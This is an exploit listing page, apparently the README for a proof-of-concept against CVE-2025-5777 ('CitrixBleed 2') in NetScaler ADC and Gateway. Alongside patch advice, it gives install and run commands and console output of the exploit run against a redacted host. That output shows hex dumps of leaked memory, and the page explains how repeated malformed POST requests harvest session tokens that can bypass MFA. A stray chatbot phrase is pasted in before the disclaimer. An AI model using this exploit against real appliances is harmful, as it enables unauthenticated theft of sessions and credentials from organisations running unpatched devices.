Exploit for Out-of-bounds Read in Citrix Netscaler Application Delivery Controller

## https://sploitus.com/exploit?id=8AC7C8A3-2C08-5B31-A7B9-A822CC43E28F
# CitrixBleed 2 (CVE-2025-5777): The New Heartbleed for NetScaler Devices 💔🩸

A **critical** vulnerability found in Citrix NetScaler ADC and NetScaler Gateway.



---

### 📋 **Quick Facts**

* **CVE ID**: CVE-2025-5777
* **Nickname**: CitrixBleed 2 🩸
* **Severity**: Critical CVSS 9.3 🚨
* **Impact**: Memory Disclosure 🧠💥
* **Exploitation**: Remote & Unauthenticated 🌍🔓

---

### 🛑 Affected Products

* NetScaler ADC (formerly Citrix ADC)
* NetScaler Gateway
* Versions before June/July 2025 patches 📆🛠️

---

### 💣 What Does It Do?

An attacker can exploit this flaw **without logging in** to:

* 🗝️ Steal authentication tokens
* 🔐 Access user credentials
* 🧾 Leak session data
* 🔓 Extract memory contents (similar to Heartbleed 🧊🩸)

---

### 🧠 Like Heartbleed?

Yes. Just like **Heartbleed (CVE-2014-0160)**, this flaw lets hackers read sensitive memory data due to poor memory isolation or input validation.

---

### 🧰 Recommendations

* ✅ **Patch immediately** — update to fixed versions
* 🔎 **Monitor logs** for suspicious activity
* 🔄 **Rotate** sensitive keys, tokens, and certificates
* 🛡️ **Harden** perimeter devices

---


### 🗝️ Proof-of-Concept

***1 - Vulnerable Request (Burp Suite 🎲)***



***Data Leaked***: Each HTTP request can leak approximately 127 bytes of RAM content. By repeating these requests, attackers can collect sensitive data from memory, which may include:

+ Session tokens (allowing session hijacking and bypassing MFA).
+ Authentication data.
+ Portions of previous HTTP requests.
+ Plaintext credentials.
+ Other sensitive information.

## 💻 Script Usage:

Requirements / Dependencies

```
pip3 install aiohttp colorama
```

🖥️ Run the script

```
python3 exploit.py  [options]
```

***2 - 🧬 Exploit in Action***

```
┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2025-5777.py https://[REDACTED].com

[+] Found InitialValue:
00000000: 16 03 03

[+] Found InitialValue:
00000000: 16 03 03

[+] Found InitialValue:
00000000: 16 03 03

[+] Found InitialValue:
00000000: 16 03 03
00000010: 34 3a 32 38 3a 31 34 20 47 4d 54 20 7a 62 78 61   4:28:14 GMT zbxa
00000020: 31 31 30 32 20 50 50 45 2d 33 3a 20 64 65 66 61   1102 PPE-3: defa
00000030: 75 6c 74 20 41 41 41 20 4d 65 73 73 61 67 65 20   ult AAA Message 
00000040: 36 20 31 36 39 33 33 35 20 3a 20 22 28 33 2d 37   6 169335 : "(3-7
00000050: 30 32 36 33 29 20 73 65 6e 64 5f 61 75 74 68 65   0263) send_authe
00000060: 6e 74 69 63 61 74 65 5f 70 64 75 3a 20 53 65 6e   nticate_pdu: Sen
00000070: 64 69 6e 67 20 50 72 65 61 6d 62 6c 65 22 2e 49   ding Preamble".I
00000080: 44 3d 37 63 65 32 62 31 66 32 2d                   D=7ce2b1f2-

[+] Found InitialValue:
00000000: 16 03 03

[+] Found InitialValue:
00000000: ef bf bd 3f ef bf bd ef bf bd d0 17 ef bf bd 14   ...?............
00000010: 57 ef bf bd 20 ef bf bd ef bf bd 6e ef bf bd 14   W... ......n....
00000020: bd 3a ef bf bd 67 ef bf bd 47 ef bf bd 1f ef bf   .:...g...G......
00000030: bd ef bf bd 6c c7 ad 39 2f 5a 39 77 5b ef bf bd   ....l..9/Z9w[...
00000040: ef bf bd 38 c4 bd 64 ef 23 ef bf bd ef bf bd 5a   ...8..d.#.....Z
00000050: ef bf bd 55 ef bf bd ef bf bd ef bf bd ef bf bd   ...U............
00000060: ef bf bd ef bf bd ef bf bd ef bf bd ef bf bd ef   ................
00000070: bf bd ef bf bd ef bf bd 02 3b 21 ef bf bd 7d ef   .........;!...}.
00000080: bf bd 0e ef bf bd ef bf bd 20 13 ef bf bd ef      ......... ....
```

---

### 💥 How it work!!!

This Python script 🐍 :

+ Send repeated malformed POST requests.
+ Parse XML responses.
+ Extract leaked memory from `` fields.
+ Display it in a hex-dump format like the `xxd` tool.
+ Support optional proxying, threading and verbose output for analysis.

---

Here’s a clean and professional **disclaimer** you can use — tailored for cybersecurity content like exploits, scripts, or CVE research:

---

### ⚠️ **Disclaimer**

This content is provided for **educational and research purposes only** 🧠🔬.
The information shared here, including any scripts or exploits, must **not** be used for unauthorized access, malicious activity, or to violate any applicable laws 🛑📜.

The author and publisher **assume no responsibility** for misuse of the material 🚫💻.
Always get **proper authorization** before testing or probing any system 🎯✅.

> 💡 **Think before you hack. Hack ethically.**

---